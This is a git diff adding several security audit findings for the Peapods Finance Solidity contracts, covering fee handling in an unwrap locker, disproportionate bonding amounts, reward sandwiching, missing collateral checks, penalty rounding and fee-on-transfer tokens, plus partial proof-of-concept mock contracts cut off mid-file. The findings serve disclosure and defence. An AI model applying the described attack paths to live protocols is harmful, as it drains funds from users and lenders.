+The protocol's design intended to allow fee-free debonding via cooldown locking through `PodUnwrapLocker`, but incorrectly uses the fee-applying `WeightedIndex.debond` path. This results in:
+1. **Hidden Fee Deduction**: Debond fees are applied during lock creation, reducing stored amounts before cooldown
+2. **Normal Withdrawal Loss**: Users receive less value than deposited despite waiting full lock period
+3. **Compounded Early Penalty**: Early withdrawal penalties calculate on pre-reduced amounts, amplifying losses
+The root cause stems from missing a fee-exempt debond path for locker-initiated transactions, violating core protocol guarantees about cooldown withdrawals.
+
+### Root Cause
+
+In function `PodUnwrapLocker.debondAndLock` ([`PodUnwrapLocker.sol#L76`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L76)) the locker contract calls `WeightedIndex.debond` which applies debond fees ([`WeightedIndex.sol#L176-L178`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L176-L178)), contradicting the locker's design purpose of fee-free debonding:
+
+```solidity
+ /**
+ * @title PodUnwrapLocker
+@> * @notice Allows users to debond from pods fee free with a time-lock period before they can withdraw their tokens.
+ * The lock duration is determined by each pod's debondCooldown config setting. Users can withdraw early if they choose,
+ * however they will realize a debondFee + 10% fee on early withdraw.
+ */
+ contract PodUnwrapLocker is Context, ReentrancyGuard {
+ // ...
+
+ function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ // ...
+
+ // Get token addresses and balances before debonding
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+ }
+@> _podContract.debond(_amount, new address[](0), new uint8[](0));
+
+ uint256[] memory _receivedAmounts = new uint256[](_tokens.length);
+ for (uint256 i = 0; i < _tokens.length; i++) {
+@> _receivedAmounts[i] = IERC20(_tokens[i]).balanceOf(address(this)) - _balancesBefore[i];
+ }
+
+ // ...
+
+ locks[_lockId] = LockInfo({
+ user: _msgSender(),
+ pod: _pod,
+ tokens: _tokens,
+@> amounts: _receivedAmounts,
+ unlockTime: block.timestamp + _podConfig.debondCooldown,
+ withdrawn: false
+ });
+
+ // ...
+ }
+ }
+```
+
+```solidity
+ contract WeightedIndex is Initializable, IInitializeSelector, DecentralizedIndex {
+ // ...
+
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+@> : (_amount * (DEN - _fees.debond)) / DEN;
+@> uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+
+ // ...
+
+ for (uint256 _i; _i < _il; _i++) {
+@> uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+@> IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+
+ // ...
+ }
+
+ // ...
+ }
+```
+
+This results in:
+1. Locked amounts being reduced by debond fees before storage
+
+2. Normal withdrawal receiving reduced amount due to charged debond fees (`PodUnwrapLocker.withdraw`):
+
+```solidity
+ function withdraw(uint256 _lockId) external nonReentrant {
+ _withdraw(_msgSender(), _lockId);
+ }
+
+ function _withdraw(address _user, uint256 _lockId) internal {
+ // ...
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+@> IERC20(_lock.tokens[i]).safeTransfer(_user, _lock.amounts[i]);
+ }
+ }
+
+ // ...
+ }
+```
+
+3. Early withdrawals applying penalty fees on already reduced amounts (`PodUnwrapLocker.earlyWithdraw`):
+
+```solidity
+ function earlyWithdraw(uint256 _lockId) external nonReentrant {
+ // ...
+
+ // Penalty = debond fee + 10%
+@> uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+@> uint256 _penaltyAmount = (_lock.amounts[i] * _penaltyBps) / 10000;
+ _penaltyAmount = _penaltyAmount == 0 && _debondFee > 0 ? 1 : _penaltyAmount;
+@> _penalizedAmounts[i] = _lock.amounts[i] - _penaltyAmount;
+ if (_penaltyAmount > 0) {
+ IERC20(_lock.tokens[i]).safeTransfer(_feeRecipient, _penaltyAmount);
+ }
+@> IERC20(_lock.tokens[i]).safeTransfer(_msgSender(), _penalizedAmounts[i]);
+ }
+ }
+
+ // ...
+ }
+```
+
+The core issue stems from using the standard debond path that applies fees, rather than implementing a dedicated fee-exempt debond mechanism for locker-initiated transactions. This violates the architectural intent of providing a fee-free cooldown withdrawal option.
+
+### Internal Pre-conditions
+
+1. PodUnwrapLocker uses standard debond mechanism that applies 5% debond fee (example value)
+2. Locked token amounts are stored post-fee deduction
+3. Early withdrawal penalty (5.5% in example, 5% + 5% / 10) calculated on reduced amounts
+
+### External Pre-conditions
+
+1. User initiates debond-lock with 1000 POD tokens (1:1 asset backing in example)
+2. User expects full 1000 token value after lock period
+3. Protocol advertises locker as "fee-free with cooldown"
+
+### Attack Path
+
+1. User calls `PodUnwrapLocker.debondAndLock(1000 POD)`
+ - Internally calls `WeightedIndex.debond` where applying 5% debond fees
+ - `PodUnwrapLocker` contract receives 950 underlying tokens (1:1 example rate, 5% fee applied)
+ - 950 tokens stored in locker
+2. Normal Withdraw Scenario:
+ - User calls `PodUnwrapLocker.withdraw` after required lock period
+ - User expects full withdrawal (1000 tokens)
+ - Receives stored lock-amount 950 tokens (5% loss vs expected 1000 tokens)
+3. Early Withdraw Scenario:
+ - User calls `PodUnwrapLocker.earlyWithdraw`
+ - User expects withdrawal with penalty: `1000 - (1000 * 5.5%) = 945 tokens`
+ - Penalty applied to stored lock amount: `950 * 5.5% = 52.25 tokens`
+ - User receives 897.75 tokens (5% total loss vs expected 945 tokens)
+
+### Impact
+
+1. **Direct Financial Loss**:
+ - Normal withdrawal: 5% loss (50 tokens on 1000 POD)
+ - Early withdrawal: 5% loss (50 tokens on 1000 POD)
+2. **Protocol Functionality Failure**:
+ - Core feature (fee-free cooldown) operates with hidden fees
+ - Early withdrawal penalty exceeds documented rates
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+1. **Implement Fee-Exempt Debond Path**:
+ - Create `debondNoFee` function in `WeightedIndex` contract
+ - Restrict access to `PodUnwrapLocker` via modifier
+ - Bypass fee calculation when called by locker
+
+2. **Modify Locker Workflow**:
+ - Replace `debond` call with `debondNoFee` in `PodUnwrapLocker.debondAndLock`
+ - Store pre-fee token amounts in locker
\ No newline at end of file
diff --git a/557.md b/557.md
new file mode 100644
index 0000000..f445845
--- /dev/null
+++ b/557.md
@@ -0,0 +1,198 @@
+Bent Beige Dachshund
+
+High
+
+# Some users may not be able to use some multi pods
+
+### Summary
+
+Some multi asset pods cannot be used by some users as the required deposit amounts are of extremely disproportionate values thus preventing (small) users from using the POD
+
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139-L171
+
+### Root Cause
+
+The problem is that certain pods will not allow users to bond asset in them due to dispropotionated value of assets needed to do the bonding as described in details below
+
+Cosnsider a pod created with 3 asset and respective weights as shown below
+- `indexTokens[0].token` = DAI, `indexTokens[0].weighting` = 40
+- `indexTokens[1].token` = ETH, `indexTokens[1].weighting` = 20
+- `indexTokens[2].token` = USDC, `indexTokens[2].weighting` = 40
+
+
+```solidity
+File: WeightedIndex.sol
+47: function __WeightedIndex_init(
+48: Config memory _config,
+49: address[] memory _tokens,
+50: uint256[] memory _weights,
+51: bytes memory _immutables
+52: ) internal {
+
+/////SNIP
+81: // at idx == 0, need to find X in [1/X = tokenWeightAtIdx/totalWeights]
+82: // at idx > 0, need to find Y in (Y/X = tokenWeightAtIdx/totalWeights)
+83: @> uint256 _xX96 = (FixedPoint96.Q96 * _totalWeights) / _weights[0];
+84: for (uint256 _i; _i < _tl; _i++) { // amountsPerIdxTokenX96
+85: @> indexTokens[_i].q1 = (_weights[_i] * _xX96 * 10 ** IERC20Metadata(_tokens[_i]).decimals()) / _totalWeights;
+86: }
+87: }
+
+```
+From the above, `_xX96` is evaluted as
+```solidity
+83: uint256 _xX96 = (FixedPoint96.Q96 * _totalWeights) / _weights[0];
+83: _xX96 = (FixedPoint96.Q96 * 100) / 40;
+83: _xX96 = 2.5 * Q96
+```
+
+`indexTokens[0].q1` is evaluated as
+```solidity
+85: indexTokens[0].q1 = (_weights[0] * _xX96 * 10 ** IERC20Metadata(_tokens[0]).decimals()) / _totalWeights;
+85: indexTokens[0].q1 = 40 * (2.5*FixedPoint96.Q96) * (10**18) / 100
+85: indexTokens[0].q1 = Q96 * (10**18)
+```
+
+`indexTokens[1].q1` is evaluated as
+```solidity
+85: indexTokens[1].q1 = (_weights[1] * _xX96 * 10 ** IERC20Metadata(_tokens[1]).decimals()) / _totalWeights;
+85: indexTokens[1].q1 = 20 * (2.5*FixedPoint96.Q96) * (10**18) / 100
+85: indexTokens[1].q1 = 0.5 *Q96 * (10**18)
+```
+`indexTokens[2].q1` is evaluated as
+```solidity
+85: indexTokens[2].q1 = (_weights[2] * _xX96 * 10 ** IERC20Metadata(_tokens[2]).decimals()) / _totalWeights;
+85: indexTokens[2].q1 = 40 * (2.5*FixedPoint96.Q96) * (10**6) / 100
+85: indexTokens[2].q1 = Q96 * (10**6)
+```
+
+Assuming `totalSupply == 0` (i.e) `_firstIn` and `bond()` is called with
+- `_token` = DAI
+- `_amount` = 1000e18
+- `_tokenAmtSupplyRatioX96`. = `FixedPoint96.Q96`
+
+```solidity
+File: WeightedIndex.sol
+135: function bond(address _token, uint256 _amount, uint256 _amountMintMin) external override lock noSwapOrFee {
+136: @> _bond(_token, _amount, _amountMintMin, _msgSender());
+137: }
+
+
+139: function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+140: require(_isTokenInIndex[_token], "IT");
+141: uint256 _tokenIdx = _fundTokenIdx[_token];
+142:
+143: bool _firstIn = _isFirstIn(); // is totalSupply == 0
+144: @> uint256 _tokenAmtSupplyRatioX96 =
+145: @> _firstIn ? FixedPoint96.Q96 : (_amount * FixedPoint96.Q96) / _totalAssets[_token];
+146: uint256 _tokensMinted;
+
+/////SNIP
+161: for (uint256 _i; _i < _il; _i++) {
+162: @> uint256 _transferAmt = _firstIn
+163: @> ? getInitialAmount(_token, _amount, indexTokens[_i].token)
+164: : (_totalAssets[indexTokens[_i].token] * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
+165: require(_transferAmt > 0, "T0");
+166: _totalAssets[indexTokens[_i].token] += _transferAmt;
+167: _transferFromAndValidate(IERC20(indexTokens[_i].token), _user, _transferAmt);
+168: }
+169: _internalBond();
+170: emit Bond(_user, _token, _amount, _tokensMinted);
+171: }
+
+```
+
+The loop on L161 is used to calculate the amount of each `indexTokens` that the depositor needs to deposit
+```solidity
+File: WeightedIndex.sol
+204: function getInitialAmount(address _sourceToken, uint256 _sourceAmount, address _targetToken)
+205: public
+206: view
+207: override
+208: returns (uint256)
+209: {
+210: @> uint256 _sourceTokenIdx = _fundTokenIdx[_sourceToken];
+211: @> uint256 _targetTokenIdx = _fundTokenIdx[_targetToken];
+212: @> return (_sourceAmount * indexTokens[_targetTokenIdx].weighting * 10 ** IERC20Metadata(_targetToken).decimals())
+213: / indexTokens[_sourceTokenIdx].weighting / 10 ** IERC20Metadata(_sourceToken).decimals();
+214: }
+
+```
+
+`_sourceTokenIdx` = DAI and `_sourceAmount` = 1000e18,
+- For `i` = 0
+ - `indexTokens[_targetTokenIdx].weighting` = 40
+ - `indexTokens[_sourceTokenIdx].weighting` = 40
+ - `_targetToken` = DAI
+
+```solidity
+212: @> return (_sourceAmount * indexTokens[_targetTokenIdx].weighting * 10 ** IERC20Metadata(_targetToken).decimals())
+213: / indexTokens[_sourceTokenIdx].weighting / 10 ** IERC20Metadata(_sourceToken).decimals();
+212: 1000e18 * 40 * (10 ** 18) / 40 / 10 ** 18
+212: 1000e18 // 1000 DAI is required from the bonder
+```
+
+- For `i` = 1
+ - `indexTokens[_targetTokenIdx].weighting` = 20
+ - `indexTokens[_sourceTokenIdx].weighting` = 40
+ - `_targetToken` = ETH
+
+```solidity
+212: @> return (_sourceAmount * indexTokens[_targetTokenIdx].weighting * 10 ** IERC20Metadata(_targetToken).decimals())
+213: / indexTokens[_sourceTokenIdx].weighting / 10 ** IERC20Metadata(_sourceToken).decimals();
+212: 1000e18 * 20 * (10 ** 18) / 40 / 10 ** 18
+212: 500e18 // 500 ETH is required form the bonder
+```
+
+- For `i` = 2
+ - `indexTokens[_targetTokenIdx].weighting` = 40
+ - `indexTokens[_sourceTokenIdx].weighting` = 40
+ - `_targetToken` = USDC
+
+```solidity
+212: @> return (_sourceAmount * indexTokens[_targetTokenIdx].weighting * 10 ** IERC20Metadata(_targetToken).decimals())
+213: / indexTokens[_sourceTokenIdx].weighting / 10 ** IERC20Metadata(_sourceToken).decimals();
+212: 1000e18 * 40 * (10 ** 6) / 40 / 10 ** 18
+212: 1000e6 // 1000 USDC is required form the bonder
+```
+
+As you can see from the calculations above, notice that for minting about1000e18 pTKNs the user needed to provide
+- 1000 DAI (1000 Dollars)
+- 500 ETH (1.4million Dollars @2800 per ETH)
+- 1000 USDC (1000 Dollars)
+
+If you increase these numbers by a factor of 10 say 10K DAI, the amount of ETH become 14million too and so on.
+
+This can render the POD useless except for well funded users if there exist susch that are wiling to take execute such bonds.
+
+### Internal Pre-conditions
+
+NIL
+
+### External Pre-conditions
+
+NIL
+
+### Attack Path
+
+Cosnsider a pod created with 3 asset and respective weights as shown below
+- `indexTokens[0].token` = DAI, `indexTokens[0].weighting` = 40
+- `indexTokens[1].token` = ETH, `indexTokens[1].weighting` = 20
+- `indexTokens[2].token` = USDC, `indexTokens[2].weighting` = 40
+
+A user trying to bond asset and wrap into the pod token will be required to be well funded in the asset with the least weight as described in detail in the Root Cause section.
+
+
+
+### Impact
+
+This can lead to a DOS for some users as they will not be able to use certain PODs
+
+### PoC
+
+Check Root Cause section
+
+### Mitigation
+
+A trivial solution cannot be recommended for this.
\ No newline at end of file
diff --git a/558.md b/558.md
new file mode 100644
index 0000000..d078859
--- /dev/null
+++ b/558.md
@@ -0,0 +1,37 @@
+Rich Grey Crocodile
+
+Medium
+
+# Users can sandwich attack rewards coming in to TokenRewards.sol by sandwich with the `stake` and `unstake` functions of StakingPoolToken.sol
+
+## Vulnerability Details
+
+In StakingPoolToken.sol:
+```solidity
+function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+ require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+}
+function _update(address _from, address _to, uint256 _value) internal override {
+ super._update(_from, _to, _value);
+ if (_from != address(0)) {
+ TokenRewards(POOL_REWARDS).setShares(_from, _value, true);
+ }
+ if (_to != address(0) && _to != address(0xdead)) {
+ TokenRewards(POOL_REWARDS).setShares(_to, _value, false);
+ }
+}
+```
+
+Calling `stake` in StakingPoolToken.sol will call TokenRewards's `setShares` which will increase the user's shares.
+
+## Attack Path
+Users can carry out a sandwich attack on transactions which distributes rewards in TokenRewards by calling frontrunning with a `stake` call and backrunning with a `unstake` call to claim the profits
+
+## LoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/StakingPoolToken.sol#L67-L81
\ No newline at end of file
diff --git a/559.md b/559.md
new file mode 100644
index 0000000..3ab730b
--- /dev/null
+++ b/559.md
@@ -0,0 +1,89 @@
+Crazy Cyan Worm
+
+High
+
+# Missing collateral health checks in `LeverageManager.withdrawAssets` will cause bad debt accumulation as users withdraw below liquidation thresholds
+
+### Summary
+
+**The lack of post-withdrawal collateral validation in `LeverageManager.withdrawAssets` will lead to protocol insolvency as attackers withdraw collateral from positions with insufficient safety margins.** This allows strategic removal of collateral assets even when positions are near liquidation levels, creating systemic undercollateralization that liquidation mechanisms cannot resolve, ultimately resulting in unrecoverable lender funds.
+
+### Root Cause
+
+In function `LeverageManager.withdrawAssets`([`LeverageManager.sol#L199-L204`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L199-L204)) the withdrawal function lacks collateral health validation before allowing asset removal. The `withdrawAssets` function calls `LeveragePositionCustodian.withdraw` which transfers collateral tokens without checking if the position remains sufficiently collateralized after withdrawal. This allows position owners to drain collateral even when their debt-to-collateral ratio exceeds safe thresholds, bypassing liquidation protections.
+
+```solidity
+contract LeverageManager is ILeverageManager, IFlashLoanRecipient, Context, LeverageManagerAccessControl {
+ // ...
+
+ function withdrawAssets(uint256 _positionId, address _token, address _recipient, uint256 _amount)
+ external
+ onlyPositionOwner(_positionId)
+ {
+ LeveragePositionCustodian(positionProps[_positionId].custodian).withdraw(_token, _recipient, _amount);
+ }
+
+ // ...
+}
+```
+
+```solidity
+contract LeveragePositionCustodian is Context, Ownable {
+ // ...
+
+ function withdraw(address _token, address _recipient, uint256 _amount) external onlyOwner {
+ _amount = _amount == 0 ? IERC20(_token).balanceOf(address(this)) : _amount;
+ IERC20(_token).safeTransfer(_recipient, _amount);
+ }
+}
+```
+
+The missing health factor check creates a protocol-level vulnerability where undercollateralized positions could accumulate bad debt that cannot be liquidated. Proper lending protocols should validate collateral ratios remain above liquidation thresholds during any asset removal operations.
+
+### Internal Pre-conditions
+
+1. Protocol allows direct collateral withdrawals without checking debt-to-collateral ratios
+2. Leveraged positions maintain debt obligations separate from collateral tracking
+3. No minimum collateral threshold enforcement during asset removal operations
+
+### External Pre-conditions
+
+1. Existence of leveraged positions with collateral value barely above liquidation thresholds
+2. Market conditions where collateral assets experience price volatility (e.g. ETH drops 5% daily)
+3. Custodian contracts hold sufficient liquid collateral assets (e.g. $500k USDC in custody)
+
+### Attack Path
+
+1. Attacker opens leveraged position with $100k collateral supporting $80k debt (125% collateral ratio)
+2. Market dip reduces collateral value to $85k (106% ratio, near 100% liquidation threshold)
+3. Attacker withdraws $10k collateral via `withdrawAssets` without repayment
+4. Position collateral drops to $75k against $80k debt (93% ratio - undercollateralized)
+5. Protocol liquidation mechanisms fail to recover full debt due to insufficient collateral
+6. Repeat across multiple positions to create systemic undercollateralization
+
+### Impact
+
+Protocol lenders face direct financial loss from unrecoverable debt. For example:
+- Total protocol TVL: $10M with $8M borrowed
+- Attacker drains 15% collateral ($1.5M) from leveraged positions
+- Creates $1.2M bad debt (15% of $8M loans) that cannot be liquidated
+- Lenders lose 12% of deposited funds ($1.2M/$10M)
+- Protocol becomes insolvent requiring emergency shutdown
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement collateral health checks before allowing withdrawals:
+1. Add debt-to-collateral ratio validation in `LeverageManager.withdrawAssets`
+2. Require post-withdrawal collateral ratio ≥ liquidation threshold (e.g. 110%)
+3. Integrate with existing liquidation system to calculate remaining collateral value
+4. Revert transaction if withdrawal would push position below safe collateral levels
+
+Example modification flow:
+- Calculate current collateral value and debt obligations
+- Subtract withdrawal amount from collateral value
+- Verify (collateral - withdrawal) / debt ≥ minimum ratio
+- Only proceed with transfer if validation passes
\ No newline at end of file
diff --git a/560.md b/560.md
new file mode 100644
index 0000000..84fd50f
--- /dev/null
+++ b/560.md
@@ -0,0 +1,125 @@
+Crazy Cyan Worm
+
+Medium
+
+# Early Withdrawals Undercharge Penalty Fees When Debond Fee <10 BPS
+
+### Summary
+
+The integer division in `PodUnwrapLocker.earlyWithdraw`'s penalty calculation will cause undercollection for early withdrawals when debond fees are set below 10 basis points. The protocol loses expected penalty revenue as users avoid the 10% surcharge due to truncation errors in basis point calculations.
+
+### Root Cause
+
+In `PodUnwrapLocker.earlyWithdraw`([`[PodUnwrapLocker.sol#L122-L139](https://www.notion.so/oioii1999/PodUnwrapLocker-earlyWithdraw-L122-L139-19cabc17a5a68014b5b1fbae49683f10)`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L122-L139)) the penalty calculation uses integer division that truncates fractional values when `_debondFee < 10`. This occurs because the additional 10% penalty (`_debondFee / 10`) rounds to zero for values below 10 basis points, combined with the `DEN` constant being defined as 10000 in [`[DecentralizedIndex.sol#L](https://www.notion.so/oioii1999/PodUnwrapLocker-earlyWithdraw-L122-L139-19cabc17a5a68014b5b1fbae49683f10)20`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L20).
+
+```solidity
+ function earlyWithdraw(uint256 _lockId) external nonReentrant {
+ // ...
+
+ IDecentralizedIndex.Fees memory _podFees = IDecentralizedIndex(_lock.pod).fees();
+ uint256 _debondFee = _podFees.debond;
+
+ // Penalty = debond fee + 10%
+@> uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+@> uint256 _penaltyAmount = (_lock.amounts[i] * _penaltyBps) / 10000;
+ _penaltyAmount = _penaltyAmount == 0 && _debondFee > 0 ? 1 : _penaltyAmount;
+ _penalizedAmounts[i] = _lock.amounts[i] - _penaltyAmount;
+ if (_penaltyAmount > 0) {
+ IERC20(_lock.tokens[i]).safeTransfer(_feeRecipient, _penaltyAmount);
+ }
+ IERC20(_lock.tokens[i]).safeTransfer(_msgSender(), _penalizedAmounts[i]);
+ }
+ }
+
+ // ...
+ }
+```
+
+while in the function `__DecentralizedIndex_init` of the contract `DecentralizedIndex`:
+
+```solidity
+abstract contract DecentralizedIndex is Initializable, ERC20Upgradeable, ERC20PermitUpgradeable, IDecentralizedIndex {
+ using SafeERC20 for IERC20;
+
+@> uint16 constant DEN = 10000;
+
+ // ...
+
+ function __DecentralizedIndex_init(
+ string memory _name,
+ string memory _symbol,
+ IndexType _idxType,
+ Config memory __config,
+ Fees memory __fees,
+ bytes memory _immutables
+ ) internal onlyInitializing {
+ // ...
+
+ require(__fees.buy <= (uint256(DEN) * 20) / 100);
+ require(__fees.sell <= (uint256(DEN) * 20) / 100);
+ require(__fees.burn <= (uint256(DEN) * 70) / 100);
+ require(__fees.bond <= (uint256(DEN) * 99) / 100);
+@> require(__fees.debond <= (uint256(DEN) * 99) / 100);
+ require(__fees.partner <= (uint256(DEN) * 5) / 100);
+
+ indexType = _idxType;
+ created = block.timestamp;
+@> _fees = __fees;
+ _config = __config;
+ _config.debondCooldown = __config.debondCooldown == 0 ? 60 days : __config.debondCooldown;
+
+ // ...
+ }
+
+ // ...
+}
+```
+
+Furthermore, there is no other way to update `DEN` and `_fees`. The flawed calculation `_debondFee + _debondFee / 10` fails to properly apply the intended 10% penalty surcharge when the base `_debondFee` is set below 10 bps (0.1%). This results in early withdrawals paying only the base debond fee without the protocol-specified penalty surcharge.
+
+### Internal Pre-conditions
+
+1. Protocol sets debond fee to 5 bps (0.05% as example) through governance
+2. `DEN` constant of 10000 basis points is hardcoded in system
+3. Penalty calculation uses integer division for 10% surcharge
+
+### External Pre-conditions
+
+1. User locks $100,000 (as example) worth of assets in PodUnwrapLocker
+2. Market conditions incentivize early withdrawal (e.g., price drop)
+3. Protocol operates with sub-10 bps debond fee
+
+### Attack Path
+
+1. Withdraw $100,000 during 5 bps fee period:
+ - Correct penalty: 5 bps + 0.5 bps = 5.5 bps ($550)
+ - Actual penalty: 5 bps ($500)
+2. Attacker repeats with 10 withdrawals of $1M each:
+ - Protocol loses 0.5 bps × $10M = $5000
+3. Protocol processes 1000 withdrawals at 5 bps:
+ - Total loss: 0.5 bps × $100M = $50,000
+
+### Impact
+
+Protocol loses 9.09% of expected penalty revenue (0.5/5.5) per qualifying withdrawal. For $1B in early withdrawals at 5 bps:
+- Expected penalty: $1B × 0.055% = $550,000
+- Actual penalty: $1B × 0.05% = $500,000
+- Direct loss: $50,000 (9.09% of expected fees)
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the penalty calculation to apply the 10% surcharge before division:
+
+```solidity
+ uint256 penaltyAmount = (_lock.amounts[i] * debondFee * 11) / (10000 * 10);
+```
+
+This preserves precision by multiplying `_debondFee` by 11 (equivalent to 110%) before division, ensuring the 10% penalty is properly applied regardless of the debond fee value.
\ No newline at end of file
diff --git a/561.md b/561.md
new file mode 100644
index 0000000..ffcd082
--- /dev/null
+++ b/561.md
@@ -0,0 +1,319 @@
+Energetic Opaque Elephant
+
+Medium
+
+# Insufficient Handling of Transfer Fees in `DecentralizedIndex::_transferFromAndValidate` Causes Legitimate Transactions to Revert
+
+### Summary
+
+The [`DecentralizedIndex:_transferFromAndValidate`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L244-L254) function in the contract performs a token transfer and validates the balance update. However, the current implementation uses a strict comparison that does not account for token transfer fees. This can cause legitimate transactions to revert unnecessarily. While the NatSpec mentions fees, the current implementation does not handle them correctly.
+
+### Root Cause
+
+The function does not account for tokens that deduct fees during transfers. It validates the balance change using `>= _amount`, which fails when the received amount is less than `_amount` due to fees. The NatSpec explicitly states the function should "revert if balances aren’t updated as expected on transfer (i.e., transfer fees, etc.)", but the implementation does not handle this correctly..
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+Step 1: A token with transfer fees (e.g., 5% fee) is added to the index.
+
+Step 2: A user attempts to bond using this token.
+
+Step 3: `_transferFromAndValidate` transfers _amount tokens, but the contract receives `_amount * 0.95`.
+
+Step 4: The check `require(balance >= _balanceBefore + _amount)` fails, reverting the transaction.
+
+Result: Legitimate users cannot bond with the token.
+
+### Impact
+
+**Denial-of-Service (DoS)**: Transactions involving fee-charging tokens will always revert.
+
+**Protocol Usability:** Limits the protocol’s ability to support popular tokens with transfer fees.
+
+### PoC
+
+See PoC below;
+
+The below exposes the `_bond` function for use in our test
+
+```solidity
+import "../contracts/WeightedIndex.sol";
+import "../contracts/interfaces/IDecentralizedIndex.sol";
+
+contract TestWeightedIndex is WeightedIndex {
+ /// @notice Public wrapper to call __WeightedIndex_init for testing purposes.
+ function publicInit(
+ IDecentralizedIndex.Config memory _config,
+ address[] memory _tokens,
+ uint256[] memory _weights,
+ bytes memory _immutables
+ ) public {
+ __WeightedIndex_init(_config, _tokens, _weights, _immutables);
+ }
+
+ /// @notice Returns the number of tokens stored in the indexTokens array.
+ function indexTokenCount() public view returns (uint256) {
+ return indexTokens.length;
+ }
+
+ /// @notice Returns the index stored in the _fundTokenIdx mapping for a given token.
+ function getFundTokenIdx(address token) public view returns (uint256) {
+ return _fundTokenIdx[token];
+ }
+
+ function publicBond(
+ address _token,
+ uint256 _amount,
+ uint256 _amountMintMin,
+ address _user
+ ) public {
+ _bond(_token, _amount, _amountMintMin, _user);
+ }
+
+}
+```
+
+The below includes the MockFeeToken for testing token with fees
+
+```solidity
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "../contracts/interfaces/IPEAS.sol";
+
+
+contract MockERC20 {
+ string public name;
+ string public symbol;
+ uint8 public decimals;
+ mapping(address => uint256) public balanceOf;
+ mapping(address => mapping(address => uint256)) public allowance;
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimals) {
+ name = _name;
+ symbol = _symbol;
+ decimals = _decimals;
+ }
+
+ function transfer(address recipient, uint256 amount) public returns (bool) {
+ balanceOf[msg.sender] -= amount;
+ balanceOf[recipient] += amount;
+ return true;
+ }
+
+ function approve(address spender, uint256 amount) public returns (bool) {
+ allowance[msg.sender][spender] = amount;
+ return true;
+ }
+
+ // ... Add other mocked functions (like decimals, transferFrom, etc.) as required ...
+
+ function mint(address to, uint256 amount) public {
+ balanceOf[to] += amount;
+ }
+
+ // function decimals() public view returns (uint8) { // Add decimals function
+ // return decimals;
+ // }
+}
+
+contract MockFeeToken is MockERC20 {
+ uint256 public feePercentage;
+
+ constructor(uint256 _feePercentage) MockERC20("MockFeeToken", "MFT", 18) {
+ feePercentage = _feePercentage;
+ }
+
+ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
+ uint256 fee = amount * feePercentage / 100;
+ uint256 amountAfterFee = amount - fee;
+
+ transfer(recipient, amountAfterFee);
+ transfer(address(this), fee);
+
+ return true;
+ }
+}
+
+// interface IERC20Metadata {
+// function decimals() external view returns (uint8);
+// }
+
+// Mock contract that DOES NOT implement IERC20Metadata
+contract MockNonERC20 {
+ // This contract has NO decimals() function
+ uint256 public someValue;
+
+ constructor(uint256 _value) {
+ someValue = _value;
+ }
+}
+
+
+interface IUniswapV2Router02 {
+ function WETH() external view returns (address);
+ function factory() external view returns (address);
+}
+
+contract MockUniswapV2Router is IUniswapV2Router02 {
+ address public WETH;
+ address public factory;
+
+ constructor(address _weth, address _factory) {
+ WETH = _weth;
+ factory = _factory;
+ }
+
+ // function WETH() external view returns (address) {
+ // return WETH;
+ // }
+
+ // function factory() external view returns (address) {
+ // return factory;
+ // }
+
+ // ... other functions as needed
+}
+
+contract MockPEAS is IPEAS, ERC20 {
+ //uint8 public _decimals; // Store decimals as a state variable
+
+ constructor(string memory _name, string memory _symbol, uint8 /* _decimalsValue */)
+ ERC20(_name, _symbol)
+ {
+ _mint(msg.sender, 10_000_000 * 10 ** 18); // Mint to the deployer for testing
+ // Do not store any additional decimals value; rely on ERC20's default.
+ }
+
+ function burn(uint256 _amount) external virtual override {
